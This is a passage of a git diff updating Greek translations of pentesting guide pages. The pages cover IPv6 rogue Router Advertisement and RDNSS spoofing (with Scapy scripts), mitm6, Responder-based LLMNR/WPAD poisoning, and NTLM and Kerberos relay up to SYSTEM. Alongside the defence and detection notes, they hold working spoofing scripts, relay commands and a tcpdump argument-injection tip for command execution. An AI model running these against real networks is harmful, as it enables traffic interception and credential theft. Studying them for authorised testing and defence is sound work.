βασίζονται σε **ICMPv6 Router Advertisements** για την ανακάλυψη της προεπιλεγμένης πύλης. Αν εισάγετε πλαστές RAs **συχνότερα** από τον νόμιμο δρομολογητή, οι συσκευές θα αλλάξουν σιωπηλά σε εσάς ως πύλη. ```python #!/usr/bin/env python3 from scapy.all import * @@ -227,47 +227,48 @@ sudo sysctl -w net.ipv6.conf.all.forwarding=1 sudo ip6tables -A FORWARD -i eth0 -j ACCEPT sudo ip6tables -t nat -A POSTROUTING -o eth0 -j MASQUERADE ``` -#### Σημαίες Διαφήμισης Δρομολογητή (M/O) & Προτίμηση Προεπιλεγμένου Δρομολογητή (Prf) +#### Σημαίες Διαφήμισης Ροτών (M/O) & Προτίμηση Προεπιλεγμένου Ροτέρ (Prf) | Σημαία | Σημασία | Επίδραση στη Συμπεριφορά του Πελάτη | |--------|---------|------------------------------------| | **M (Διαχείριση Διεύθυνσης)** | Όταν είναι ρυθμισμένο σε `1`, ο υπολογιστής ΠΡΕΠΕΙ να χρησιμοποιεί **DHCPv6** για να αποκτήσει τη διεύθυνση IPv6 του. | Όλη η διευθυνσιοδότηση προέρχεται από το DHCPv6 – τέλειο για δηλητηρίαση τύπου *mitm6*. | -| **O (Άλλη Διαμόρφωση)** | Όταν είναι ρυθμισμένο σε `1`, ο υπολογιστής θα πρέπει να χρησιμοποιεί το **DHCPv6** μόνο για να αποκτήσει *άλλες* πληροφορίες (DNS, NTP, …). | Η διεύθυνση εξακολουθεί να προέρχεται μέσω SLAAC, αλλά το DNS μπορεί να παραβιαστεί με το DHCPv6. | +| **O (Άλλη Διαμόρφωση)** | Όταν είναι ρυθμισμένο σε `1`, ο υπολογιστής θα πρέπει να χρησιμοποιεί το **DHCPv6** μόνο για να αποκτήσει *άλλες* πληροφορίες (DNS, NTP, …). | Διεύθυνση μέσω SLAAC, αλλά το DNS μπορεί να παραβιαστεί με το DHCPv6. | | **M=0 / O=0** | Καθαρό δίκτυο SLAAC. | Μόνο κόλπα RA / RDNSS είναι δυνατά – το DHCPv6 δεν θα σταλεί από τους πελάτες. | -| **M=1 / O=1** | Μεικτό περιβάλλον. | Χρησιμοποιούνται τόσο το DHCPv6 όσο και το SLAAC; η επιφάνεια για παραποίηση είναι η μεγαλύτερη. | +| **M=1 / O=1** | Μικτό περιβάλλον. | Χρησιμοποιούνται τόσο το DHCPv6 όσο και το SLAAC; η επιφάνεια για παραπλάνηση είναι η μεγαλύτερη. | -Κατά τη διάρκεια ενός pentest, μπορείτε απλά να ελέγξετε τη νόμιμη RA μία φορά και να αποφασίσετε ποιο vector είναι εφικτό: +Κατά τη διάρκεια ενός pentest, μπορείτε απλά να επιθεωρήσετε τη νόμιμη RA μία φορά και να αποφασίσετε ποιο διανυσμα είναι εφικτό: ```bash sudo tcpdump -vvv -i eth0 'icmp6 && ip6[40] == 134' # capture Router Advertisements ``` -Look for the `flags [M,O]` field in the dump – no guessing required. +Κοιτάξτε το πεδίο `flags [M,O]` στο dump – δεν απαιτείται μαντεψιά. -The **Prf** (Router Preference) field inside the RA header controls how attractive your rogue router looks when *multiple* gateways are present: +Το **Prf** (Router Preference) πεδίο μέσα στην κεφαλίδα RA ελέγχει πόσο ελκυστικός φαίνεται ο κακόβουλος δρομολογητής σας όταν υπάρχουν *πολλαπλές* πύλες: -| Prf value | Binary | Meaning | -|-----------|--------|---------| -| **High** | `10` | Οι πελάτες προτιμούν αυτό το δρομολογητή από οποιονδήποτε *Μέτριο*/*Χαμηλό* | -| Medium (default) | `01` | Χρησιμοποιείται από σχεδόν κάθε νόμιμη συσκευή | -| Low | `00` | Επιλέγεται μόνο όταν δεν υπάρχει καλύτερος δρομολογητής | +| Τιμή Prf | Δυαδικό | Σημασία | +|----------|---------|---------| +| **Υψηλό** | `10` | Οι πελάτες προτιμούν αυτόν τον δρομολογητή από οποιονδήποτε *Μεσαίο*/*Χαμηλό* | +| Μεσαίο (προεπιλογή) | `01` | Χρησιμοποιείται από σχεδόν κάθε νόμιμη συσκευή | +| Χαμηλό | `00` | Επιλέγεται μόνο όταν δεν υπάρχει καλύτερος δρομολογητής | -When generating the packet with Scapy you can set it through the `prf` parameter as shown above (`prf=0x1` → High). Combining **High Prf**, a **short interval**, and a **non-zero lifetime** makes your rogue gateway remarkably stable. +Όταν δημιουργείτε το πακέτο με το Scapy μπορείτε να το ρυθμίσετε μέσω της παραμέτρου `prf` όπως φαίνεται παραπάνω (`prf=0x1` → Υψηλό). Συνδυάζοντας **Υψηλό Prf**, ένα **σύντομο διάστημα** και μια **μη μηδενική διάρκεια ζωής** καθιστά την κακόβουλη πύλη σας εξαιρετικά σταθερή. --- -### RDNSS (DNS) Spoofing via RA +### RDNSS (DNS) Spoofing μέσω RA -[RFC 8106](https://datatracker.ietf.org/doc/html/rfc8106) allows adding a **Recursive DNS Server (RDNSS)** option inside a RA. Modern OSes (Win 10 ≥1709, Win 11, macOS Big Sur, Linux systemd-resolved, …) automatically trust it: +[RFC 8106](https://datatracker.ietf.org/doc/html/rfc8106) επιτρέπει την προσθήκη μιας επιλογής **Recursive DNS Server (RDNSS)** μέσα σε ένα RA. Οι σύγχρονοι λειτουργικοί συστήματα (Win 10 ≥1709, Win 11, macOS Big Sur, Linux systemd-resolved, …) το εμπιστεύονται αυτόματα: ```python #!/usr/bin/env python3 from scapy.all import * import argparse p = argparse.ArgumentParser() -p.add_argument('-i','--interface',required=True) -p.add_argument('--llip',required=True) -p.add_argument('--dns',required=True,help='Fake DNS IPv6') -p.add_argument('--lifetime',type=int,default=600) -p.add_argument('--interval',type=int,default=5) +P = p.add_argument +P('-i','--interface',required=True) +P('--llip',required=True) +P('--dns',required=True,help='Fake DNS IPv6') +P('--lifetime',type=int,default=600) +P('--interval',type=int,default=5) args = p.parse_args() ra = (IPv6(src=args.llip,dst='ff02::1',hlim=255)/ @@ -276,25 +277,70 @@ ICMPv6NDOptRDNSS(dns=[args.dns],lifetime=args.lifetime)) send(ra,iface=args.interface,loop=1,inter=args.interval) ``` -Οι πελάτες θα **προθέσουν** το DNS σας στη λίστα αναλυτών τους για την καθορισμένη διάρκεια ζωής, παρέχοντας πλήρη hijacking DNS μέχρι να λήξει η τιμή ή να στείλετε μια ανατροπή `lifetime=0`. +Οι πελάτες θα **προθέσουν** το DNS σας στη λίστα αναλυτών τους για την καθορισμένη διάρκεια, παρέχοντας πλήρη DNS hijacking μέχρι να λήξει η τιμή ή να στείλετε μια `lifetime=0` αναίρεση. ### DHCPv6 DNS Spoofing (mitm6) -Αντί για SLAAC, τα δίκτυα Windows συχνά εξαρτώνται από το **stateless DHCPv6** για το DNS. [mitm6](https://github.com/rofl0r/mitm6) απαντά αυτόματα σε μηνύματα `Solicit` με μια ροή **Advertise → Reply** που αναθέτει **τη διεύθυνση link-local σας ως DNS για 300 δευτερόλεπτα**. Αυτό ξεκλειδώνει: +Αντί για SLAAC, τα δίκτυα Windows συχνά εξαρτώνται από **stateless DHCPv6** για το DNS. [mitm6](https://github.com/rofl0r/mitm6) απαντά αυτόματα σε μηνύματα `Solicit` με μια ροή **Advertise → Reply** που αναθέτει **τη διεύθυνση link-local σας ως DNS για 300 δευτερόλεπτα**. Αυτό ξεκλειδώνει: -* Επιθέσεις NTLM relay (WPAD + DNS hijacking) +* NTLM relay επιθέσεις (WPAD + DNS hijacking) * Παρεμβολή στην εσωτερική ανάλυση ονομάτων χωρίς να αγγίξετε δρομολογητές Τυπική χρήση: ```bash sudo mitm6 -i eth0 --no-ra # only DHCPv6 poisoning ``` -### Άμυνες +### Αμυντικές Τεχνικές * **RA Guard / DHCPv6 Guard / ND Inspection** σε διαχειριζόμενους διακόπτες. * Port ACLs που επιτρέπουν μόνο τη νόμιμη MAC του δρομολογητή να στέλνει RAs. * Παρακολούθηση για **μη αξιόπιστους υψηλούς ρυθμούς RAs** ή ξαφνικές **αλλαγές RDNSS**. -* Η απενεργοποίηση του IPv6 σε τερματικά είναι μια προσωρινή λύση που συχνά σπάει σύγχρονες υπηρεσίες και κρύβει τυφλά σημεία – προτιμήστε το L2 filtering αντί αυτού. +* Η απενεργοποίηση του IPv6 σε τερματικά είναι μια προσωρινή λύση που συχνά σπάει σύγχρονες υπηρεσίες και κρύβει τυφλά σημεία – προτιμήστε το L2 filtering αντί. + +### NDP Router Discovery σε Guest/Public SSIDs και Έκθεση Υπηρεσιών Διαχείρισης + +Πολλοί καταναλωτικοί δρομολογητές εκθέτουν δαίμονες διαχείρισης (HTTP(S), SSH/Telnet, TR-069, κ.λπ.) σε όλες τις διεπαφές. Σε ορισμένες αναπτύξεις, το SSID “guest/public” είναι γέφυρα προς το WAN/core και είναι μόνο IPv6. Ακόμα και αν το IPv6 του δρομολογητή αλλάζει σε κάθε εκκίνηση, μπορείτε να το μάθετε αξιόπιστα χρησιμοποιώντας NDP/ICMPv6 και στη συνέχεια να συνδεθείτε απευθείας στο επίπεδο διαχείρισης από το guest SSID. + +Τυπική ροή εργασίας από έναν πελάτη που είναι συνδεδεμένος στο guest/public SSID: + +1) Ανακαλύψτε τον δρομολογητή μέσω ICMPv6 Router Solicitation στο All-Routers multicast `ff02::2` και καταγράψτε την Router Advertisement (RA): +```bash +# Listen for Router Advertisements (ICMPv6 type 134) +sudo tcpdump -vvv -i 'icmp6 and ip6[40]==134' + +# Provoke an RA by sending a Router Solicitation to ff02::2 +python3 - <<'PY' +from scapy.all import * +send(IPv6(dst='ff02::2')/ICMPv6ND_RS(), iface='') +PY +``` +Η RA αποκαλύπτει τη διεύθυνση/πρόθεμα link-local του δρομολογητή και συχνά μια παγκόσμια διεύθυνση/πρόθεμα. Εάν είναι γνωστή μόνο μια link-local, θυμηθείτε ότι οι συνδέσεις πρέπει να καθορίζουν τον δείκτη ζώνης, π.χ. `ssh -6 admin@[fe80::1%wlan0]`. + +Εναλλακτικά: χρησιμοποιήστε το ndisc6 suite αν είναι διαθέσιμο: +```bash +# rdisc6 sends RS and prints RAs in a friendly way +rdisc6 +``` +2) Προσέγγιση εκτεθειμένων υπηρεσιών μέσω IPv6 από το SSID επισκεπτών: +```bash +# SSH/Telnet example (replace with discovered address) +ssh -6 admin@[2001:db8:abcd::1] +# Web UI over IPv6 +curl -g -6 -k 'http://[2001:db8:abcd::1]/' +# Fast IPv6 service sweep +nmap -6 -sS -Pn -p 22,23,80,443,7547 [2001:db8:abcd::1] +``` +3) Αν η διαχείριση του shell παρέχει εργαλεία καταγραφής πακέτων μέσω ενός wrapper (π.χ., tcpdump), ελέγξτε για ένεση ορισμάτων/ονόματος αρχείου που επιτρέπει τη μεταφορά επιπλέον σημαιών tcpdump όπως `-G/-W/-z` για την εκτέλεση εντολών μετά την περιστροφή. Δείτε: + +{{#ref}} +../../linux-hardening/privilege-escalation/wildcards-spare-tricks.md +{{#endref}} + +Αμυντικά/σημειώσεις: + +- Μην συνδέετε τη διαχείριση σε γέφυρες επισκεπτών/δημόσιες· εφαρμόστε τείχη προστασίας IPv6 σε γέφυρες SSID. +- Περιορίστε και φιλτράρετε NDP/RS/RA σε τμήματα επισκεπτών όπου είναι εφικτό. +- Για υπηρεσίες που πρέπει να είναι προσβάσιμες, επιβάλετε authN/MFA και ισχυρούς περιορισμούς ρυθμού. ## Αναφορές @@ -304,5 +350,6 @@ sudo mitm6 -i eth0 --no-ra # only DHCPv6 poisoning - [http://www.firewall.cx/networking-topics/protocols/877-ipv6-subnetting-how-to-subnet-ipv6.html](http://www.firewall.cx/networking-topics/protocols/877-ipv6-subnetting-how-to-subnet-ipv6.html) - [https://www.sans.org/reading-room/whitepapers/detection/complete-guide-ipv6-attack-defense-33904](https://www.sans.org/reading-room/whitepapers/detection/complete-guide-ipv6-attack-defense-33904) - [Practical Guide to IPv6 Attacks in a Local Network](https://habr.com/ru/articles/930526/) +- [FiberGateway GR241AG – Full Exploit Chain](https://r0ny.net/FiberGateway-GR241AG-Full-Exploit-Chain/) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md b/src/generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md index 28e3acc3f..a3da2b70b 100644 --- a/src/generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md +++ b/src/generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md @@ -9,8 +9,8 @@ - **LLMNR, NBT-NS, and mDNS**: - Η Microsoft και άλλα λειτουργικά συστήματα χρησιμοποιούν LLMNR και NBT-NS για τοπική ανάλυση ονομάτων όταν αποτυγχάνει το DNS. Ομοίως, τα συστήματα της Apple και του Linux χρησιμοποιούν mDNS. - Αυτά τα πρωτόκολλα είναι ευάλωτα σε παρεμβολές και spoofing λόγω της μη αυθεντικοποιημένης, ραδιοφωνικής φύσης τους μέσω UDP. -- [Responder](https://github.com/lgandx/Responder) μπορεί να χρησιμοποιηθεί για να προσποιηθεί υπηρεσίες στέλνοντας πλαστές απαντήσεις σε hosts που ρωτούν αυτά τα πρωτόκολλα. -- Περαιτέρω πληροφορίες σχετικά με την προσποίηση υπηρεσιών χρησιμοποιώντας το Responder μπορούν να βρεθούν [εδώ](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md). +- [Responder](https://github.com/lgandx/Responder) μπορεί να χρησιμοποιηθεί για να μιμηθεί υπηρεσίες στέλνοντας πλαστές απαντήσεις σε hosts που ρωτούν αυτά τα πρωτόκολλα. +- Περαιτέρω πληροφορίες σχετικά με την μίμηση υπηρεσιών χρησιμοποιώντας το Responder μπορούν να βρεθούν [εδώ](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md). ### Web Proxy Auto-Discovery Protocol (WPAD) @@ -20,7 +20,7 @@ ### Responder for Protocol Poisoning -- **Responder** είναι ένα εργαλείο που χρησιμοποιείται για την δηλητηρίαση ερωτημάτων LLMNR, NBT-NS και mDNS, απαντώντας επιλεκτικά με βάση τους τύπους ερωτημάτων, κυρίως στοχεύοντας υπηρεσίες SMB. +- **Responder** είναι ένα εργαλείο που χρησιμοποιείται για την δηλητηρίαση ερωτημάτων LLMNR, NBT-NS και mDNS, απαντώντας επιλεκτικά με βάση τους τύπους ερωτημάτων, κυρίως στοχεύοντας σε υπηρεσίες SMB. - Έρχεται προεγκατεστημένο στο Kali Linux, ρυθμιζόμενο στο `/etc/responder/Responder.conf`. - Το Responder εμφανίζει τις καταγεγραμμένες κατακερματισμένες τιμές στην οθόνη και τις αποθηκεύει στον κατάλογο `/usr/share/responder/logs`. - Υποστηρίζει τόσο IPv4 όσο και IPv6. @@ -31,8 +31,8 @@ - Για να τρέξετε το Responder με προεπιλεγμένες ρυθμίσεις: `responder -I ` - Για πιο επιθετική αναζήτηση (με πιθανές παρενέργειες): `responder -I -P -r -v` - Τεχνικές για την καταγραφή προκλήσεων/απαντήσεων NTLMv1 για ευκολότερη διάσπαση: `responder -I --lm --disable-ess` -- Η προσποίηση WPAD μπορεί να ενεργοποιηθεί με: `responder -I --wpad` -- Οι αιτήσεις NetBIOS μπορούν να επιλυθούν στη διεύθυνση IP του επιτιθέμενου, και μπορεί να ρυθμιστεί ένας proxy αυθεντικοποίησης: `responder.py -I -Pv` +- Η μίμηση WPAD μπορεί να ενεργοποιηθεί με: `responder -I --wpad` +- Τα αιτήματα NetBIOS μπορούν να επιλυθούν στη διεύθυνση IP του επιτιθέμενου, και μπορεί να ρυθμιστεί ένας proxy αυθεντικοποίησης: `responder.py -I -Pv` ### DHCP Poisoning with Responder @@ -43,7 +43,7 @@ ### Capturing Credentials with Responder -- Το Responder θα προσποιηθεί υπηρεσίες χρησιμοποιώντας τα παραπάνω πρωτόκολλα, καταγράφοντας διαπιστευτήρια (συνήθως NTLMv2 Challenge/Response) όταν ένας χρήστης προσπαθεί να αυθεντικοποιηθεί σε κακόβουλες υπηρεσίες. +- Το Responder θα μιμηθεί υπηρεσίες χρησιμοποιώντας τα παραπάνω πρωτόκολλα, καταγράφοντας διαπιστευτήρια (συνήθως NTLMv2 Challenge/Response) όταν ένας χρήστης προσπαθεί να αυθεντικοποιηθεί σε κακόβουλες υπηρεσίες. - Μπορούν να γίνουν προσπάθειες υποβάθμισης σε NetNTLMv1 ή απενεργοποίησης ESS για ευκολότερη διάσπαση διαπιστευτηρίων. Είναι κρίσιμο να σημειωθεί ότι η χρήση αυτών των τεχνικών θα πρέπει να γίνεται νομίμως και ηθικά, εξασφαλίζοντας την κατάλληλη εξουσιοδότηση και αποφεύγοντας τη διακοπή ή μη εξουσιοδοτημένη πρόσβαση. @@ -64,7 +64,7 @@ Inveigh.exe Αυτή η επίθεση εκμεταλλεύεται τις συνεδρίες αυθεντικοποίησης SMB για να αποκτήσει πρόσβαση σε μια στοχοθετημένη μηχανή, παρέχοντας ένα σύστημα shell αν είναι επιτυχής. Οι βασικές προϋποθέσεις περιλαμβάνουν: -- Ο αυθεντικοποιούμενος χρήστης πρέπει να έχει πρόσβαση Local Admin στον αναμεταδιδόμενο υπολογιστή. +- Ο αυθεντικοποιημένος χρήστης πρέπει να έχει πρόσβαση Local Admin στον αναμεταδιδόμενο υπολογιστή. - Η υπογραφή SMB θα πρέπει να είναι απενεργοποιημένη. #### 445 Port Forwarding and Tunneling @@ -93,7 +93,7 @@ beacon> socks stop - **smbrelayx**: Ένα script Python για την αναμετάδοση SMB συνεδριών και την εκτέλεση εντολών ή την ανάπτυξη backdoors. - **MultiRelay**: Ένα εργαλείο από τη σουίτα Responder για την αναμετάδοση συγκεκριμένων χρηστών ή όλων των χρηστών, την εκτέλεση εντολών ή την εξαγωγή hashes. -Κάθε εργαλείο μπορεί να ρυθμιστεί να λειτουργεί μέσω ενός SOCKS proxy αν χρειαστεί, επιτρέποντας επιθέσεις ακόμη και με έμμεση πρόσβαση στο δίκτυο. +Κάθε εργαλείο μπορεί να ρυθμιστεί να λειτουργεί μέσω ενός SOCKS proxy αν είναι απαραίτητο, επιτρέποντας επιθέσεις ακόμη και με έμμεση πρόσβαση στο δίκτυο. ### Λειτουργία MultiRelay @@ -117,7 +117,7 @@ python MultiRelay.py -t -u ALL -d # Dump hashes ## Επίθεση Kerberos Relay -Μια **επίθεση Kerberos relay** κλέβει ένα **AP-REQ ticket** από μια υπηρεσία και το επαναχρησιμοποιεί σε μια δεύτερη υπηρεσία που μοιράζεται το **ίδιο κλειδί υπολογιστή** (επειδή και οι δύο SPNs βρίσκονται στον ίδιο λογαριασμό μηχανής `$`). Αυτό λειτουργεί ακόμη και αν οι **κατηγορίες υπηρεσιών των SPNs διαφέρουν** (π.χ. `CIFS/` → `LDAP/`) επειδή το *κλειδί* που αποκρυπτογραφεί το εισιτήριο είναι το NT hash της μηχανής, όχι η ίδια η συμβολοσειρά SPN και η συμβολοσειρά SPN δεν είναι μέρος της υπογραφής. +Μια **επίθεση Kerberos relay** κλέβει ένα **AP-REQ ticket** από μια υπηρεσία και το επαναχρησιμοποιεί σε μια δεύτερη υπηρεσία που μοιράζεται το **ίδιο κλειδί υπολογιστή** (επειδή και οι δύο SPNs βρίσκονται στον ίδιο λογαριασμό μηχανής `$`). Αυτό λειτουργεί παρόλο που οι **κατηγορίες υπηρεσιών των SPNs διαφέρουν** (π.χ. `CIFS/` → `LDAP/`) επειδή το *κλειδί* που αποκρυπτογραφεί το εισιτήριο είναι το NT hash της μηχανής, όχι η ίδια η συμβολοσειρά SPN και η συμβολοσειρά SPN δεν είναι μέρος της υπογραφής. Σε αντίθεση με το NTLM relay, η μετάβαση περιορίζεται στην *ίδια υποδοχή*, αλλά, αν στοχεύσετε ένα πρωτόκολλο που σας επιτρέπει να γράφετε σε LDAP, μπορείτε να συνδεθείτε σε **Resource-Based Constrained Delegation (RBCD)** ή **AD CS enrollment** και να αποκτήσετε **NT AUTHORITY\SYSTEM** με μία μόνο κίνηση. @@ -131,14 +131,14 @@ python MultiRelay.py -t -u ALL -d # Dump hashes | Token | Σκοπός | Σχέση με Relay | |-------|---------|-----------------| | **TGT / AS-REQ ↔ REP** | Αποδεικνύει τον χρήστη στο KDC | ανέγγιχτο | -| **Service ticket / TGS-REQ ↔ REP** | Συνδεδεμένο με ένα **SPN**; κρυπτογραφημένο με το κλειδί του κατόχου του SPN | αλληλένδετο αν τα SPNs μοιράζονται λογαριασμό | +| **Service ticket / TGS-REQ ↔ REP** | Συνδεδεμένο με ένα **SPN**; κρυπτογραφημένο με το κλειδί του κατόχου του SPN | αλληλένδετο αν οι SPNs μοιράζονται λογαριασμό | | **AP-REQ** | Ο πελάτης στέλνει `TGS` στην υπηρεσία | **αυτό που κλέβουμε & επαναχρησιμοποιούμε** | * Τα εισιτήρια κρυπτογραφούνται με το **κλειδί που προέρχεται από τον κωδικό πρόσβασης του λογαριασμού που κατέχει το SPN**. * Ο **Authenticator** μέσα στο AP-REQ έχει χρονική σφραγίδα 5 λεπτών; η επαναχρησιμοποίηση μέσα σε αυτό το παράθυρο είναι έγκυρη μέχρι να δει η προσωρινή μνήμη της υπηρεσίας ένα αντίγραφο. -* Τα Windows σπάνια ελέγχουν αν η συμβολοσειρά SPN στο εισιτήριο ταιριάζει με την υπηρεσία που χτυπάτε, οπότε ένα εισιτήριο για `CIFS/HOST` συνήθως αποκρυπτογραφείται σωστά σε `LDAP/HOST`. +* Τα Windows σπάνια ελέγχουν αν η συμβολοσειρά SPN στο εισιτήριο ταιριάζει με την υπηρεσία που χτυπάτε, οπότε ένα εισιτήριο για `CIFS/HOST` συνήθως αποκρυπτογραφείται κανονικά σε `LDAP/HOST`. -- 2. **Τι πρέπει να είναι αληθινό για να γίνει relay Kerberos** +- 2. **Τι πρέπει να είναι αληθές για να γίνει relay Kerberos** 1. **Κοινό κλειδί:** οι πηγές και οι στόχοι SPNs ανήκουν στον ίδιο λογαριασμό υπολογιστή (προεπιλογή σε Windows servers). 2. **Καμία προστασία καναλιού:** SMB/LDAP υπογραφή απενεργοποιημένη και EPA απενεργοποιημένη για HTTP/LDAPS. @@ -148,14 +148,14 @@ python MultiRelay.py -t -u ALL -d # Dump hashes ### Βήματα Kerberos Relay -- 3.1 **Αναγνώριση της υποδοχής** +- 3.1 **Recon the host** ```powershell # find servers where HTTP, LDAP or CIFS share the same machine account Get-ADComputer -Filter * -Properties servicePrincipalName | Where-Object {$_.servicePrincipalName -match '(HTTP|LDAP|CIFS)'} | Select Name,servicePrincipalName ``` -- 3.2 **Ξεκινήστε τον δέκτη αναμετάδοσης** +- 3.2 **Ξεκινήστε τον ακροατή αναμετάδοσης** [KrbRelayUp](https://github.com/Dec0ne/KrbRelayUp) ```powershell @@ -173,7 +173,7 @@ DFSCoerce κάνει το DC να μας στείλει ένα Kerberos `CIFS/DC - 3.4 **Μεταφορά του AP-REQ** -Το KrbRelay εξάγει το GSS blob από το SMB, το επανασυσκευάζει σε μια σύνδεση LDAP και το προωθεί στο `ldap://DC01`—η αυθεντικοποίηση επιτυγχάνεται επειδή το **ίδιο κλειδί** το αποκρυπτογραφεί. +Το KrbRelay εξάγει το GSS blob από το SMB, το επανασυσκευάζει σε ένα LDAP bind και το προωθεί στο `ldap://DC01`—η αυθεντικοποίηση επιτυγχάνεται επειδή το **ίδιο κλειδί** το αποκρυπτογραφεί. - 3.5 **Κατάχρηση LDAP ➜ RBCD ➜ SYSTEM** ```powershell @@ -190,8 +190,8 @@ You now own **NT AUTHORITY\SYSTEM**. | Vector | Trick | Why it matters | |--------|-------|----------------| | **AuthIP / IPSec** | Ψεύτικος διακομιστής στέλνει ένα **GSS-ID payload** με οποιοδήποτε SPN; ο πελάτης δημιουργεί ένα AP-REQ κατευθείαν σε εσάς | Λειτουργεί ακόμη και σε υποδίκτυα; διαπιστευτήρια μηχανής από προεπιλογή | -| **DCOM / MSRPC** | Κακόβουλος OXID resolver αναγκάζει τον πελάτη να αυθεντικοποιηθεί σε αυθαίρετο SPN και θύρα | Καθαρή *τοπική* εκμετάλλευση δικαιωμάτων; παρακάμπτει το τείχος προστασίας | -| **AD CS Web Enroll** | Μεταβιβάστε το μηχάνημα εισιτηρίου σε `HTTP/CA` και αποκτήστε ένα πιστοποιητικό, στη συνέχεια **PKINIT** για να δημιουργήσετε TGTs | Παρακάμπτει τις άμυνες υπογραφής LDAP | +| **DCOM / MSRPC** | Κακόβουλος OXID resolver αναγκάζει τον πελάτη να αυθεντικοποιηθεί σε αυθαίρετο SPN και θύρα | Καθαρή *τοπική* priv-esc; παρακάμπτει το τείχος προστασίας | +| **AD CS Web Enroll** | Μεταφέρετε το μηχάνημα εισιτηρίου σε `HTTP/CA` και αποκτήστε ένα πιστοποιητικό, στη συνέχεια **PKINIT** για να δημιουργήσετε TGTs | Παρακάμπτει τις άμυνες υπογραφής LDAP | | **Shadow Credentials** | Γράψτε `msDS-KeyCredentialLink`, στη συνέχεια PKINIT με ψεύτικο ζεύγος κλειδιών | Δεν χρειάζεται να προσθέσετε έναν λογαριασμό υπολογιστή | ### **Αντιμετώπιση προβλημάτων** @@ -200,14 +200,14 @@ You now own **NT AUTHORITY\SYSTEM**. |-------|---------|-----| | `KRB_AP_ERR_MODIFIED` | Κλειδί εισιτηρίου ≠ κλειδί στόχου | Λάθος host/SPN | | `KRB_AP_ERR_SKEW` | Ρολόι > 5 λεπτά απόκλιση | Συγχρονίστε την ώρα ή χρησιμοποιήστε `w32tm` | -| Αποτυχία σύνδεσης LDAP | Η υπογραφή επιβάλλεται | Χρησιμοποιήστε τη διαδρομή AD CS ή απενεργοποιήστε την υπογραφή | -| Spam Event 4649 | Η υπηρεσία είδε διπλό Authenticator | μπλοκάρετε ή αγωνιστείτε το αρχικό πακέτο | +| Αποτυχία σύνδεσης LDAP | Υπογραφή επιβεβλημένη | Χρησιμοποιήστε τη διαδρομή AD CS ή απενεργοποιήστε την υπογραφή | +| Spam Event 4649 | Η υπηρεσία είδε διπλό Authenticator | μπλοκάρετε ή προλάβετε το αρχικό πακέτο | ### **Ανίχνευση** * Άνοδος σε **Event 4769** για `CIFS/`, `HTTP/`, `LDAP/` από την ίδια πηγή εντός δευτερολέπτων. * **Event 4649** στην υπηρεσία υποδεικνύει ανίχνευση επανάληψης. -* Η σύνδεση Kerberos από **127.0.0.1** (μεταφορά σε τοπικό SCM) είναι εξαιρετικά ύποπτη—χαρτογραφήστε μέσω κανόνα Sigma στα έγγραφα KrbRelayUp. +* Η σύνδεση Kerberos από **127.0.0.1** (μεταφορά σε τοπικό SCM) είναι πολύ ύποπτη—χαρτογραφήστε μέσω κανόνα Sigma στα έγγραφα KrbRelayUp. * Παρακολουθήστε τις αλλαγές στα χαρακτηριστικά `msDS-AllowedToActOnBehalfOfOtherIdentity` ή `msDS-KeyCredentialLink`. ## **Σκληραγώγηση** @@ -215,7 +215,7 @@ You now own **NT AUTHORITY\SYSTEM**. 1. **Επιβάλλετε την υπογραφή LDAP & SMB + EPA** σε κάθε διακομιστή. 2. **Διαχωρίστε τα SPNs** ώστε το HTTP να μην είναι στον ίδιο λογαριασμό με το CIFS/LDAP. 3. Ενημερώστε τα διακυβερνητικά διακυβερνητικά (PetitPotam KB5005413, DFS, AuthIP). -4. Ορίστε **`ms-DS-MachineAccountQuota = 0`** για να σταματήσετε τις κακόβουλες προσχωρήσεις υπολογιστών. +4. Ορίστε **`ms-DS-MachineAccountQuota = 0`** για να σταματήσετε τις κακόβουλες προσθήκες υπολογιστών. 5. Ειδοποιήστε για **Event 4649** και απροσδόκητες συνδέσεις Kerberos loopback. ## Αναφορές diff --git a/src/generic-methodologies-and-resources/pentesting-wifi/README.md b/src/generic-methodologies-and-resources/pentesting-wifi/README.md index 67d509da0..e0a4afb09 100644 --- a/src/generic-methodologies-and-resources/pentesting-wifi/README.md +++ b/src/generic-methodologies-and-resources/pentesting-wifi/README.md @@ -21,6 +21,7 @@ iwlist wlan0 scan #Scan available wifis ### Hijacker & NexMon (Εσωτερικό Wi-Fi Android) + {{#ref}} enable-nexmon-monitor-and-injection-on-android.md {{#endref}} @@ -63,14 +64,14 @@ sudo python setup.py install # Install any dependencies - Ρύθμιση της διεπαφής σε λειτουργία παρακολούθησης - Σάρωση για πιθανά δίκτυα - Και σας επιτρέπει να επιλέξετε το θύμα(τα) -- Αν είναι WEP - Εκκίνηση επιθέσεων WEP -- Αν είναι WPA-PSK -- Αν είναι WPS: Επίθεση Pixie dust και η επίθεση brute-force (προσοχή, η επίθεση brute-force μπορεί να διαρκέσει πολύ). Σημειώστε ότι δεν προσπαθεί με null PIN ή PIN που έχουν δημιουργηθεί από βάση δεδομένων. +- Αν WEP - Εκκίνηση επιθέσεων WEP +- Αν WPA-PSK +- Αν WPS: Επίθεση Pixie dust και η επίθεση brute-force (προσοχή, η επίθεση brute-force μπορεί να διαρκέσει πολύ). Σημειώστε ότι δεν προσπαθεί με null PIN ή PIN που έχουν δημιουργηθεί από βάση δεδομένων. - Προσπάθεια σύλληψης του PMKID από το AP για να το σπάσει - Προσπάθεια αποσύνδεσης πελατών του AP για να συλληφθεί ένα handshake -- Αν είναι PMKID ή Handshake, προσπαθήστε να κάνετε brute-force χρησιμοποιώντας τους 5000 κορυφαίους κωδικούς. +- Αν PMKID ή Handshake, προσπαθήστε να κάνετε brute-force χρησιμοποιώντας τους 5000 κορυφαίους κωδικούς. -## Περίληψη Επιθέσεων +## Επιθέσεις Περίληψη - **DoS** - Αποσύνδεση/αποσύνδεση -- Αποσυνδέστε όλους (ή μια συγκεκριμένη ESSID/Client) @@ -85,14 +86,14 @@ sudo python setup.py install # Install any dependencies - **WPA PMKID** brute-force - \[DoS +] **WPA handshake** σύλληψη + Σπάσιμο - 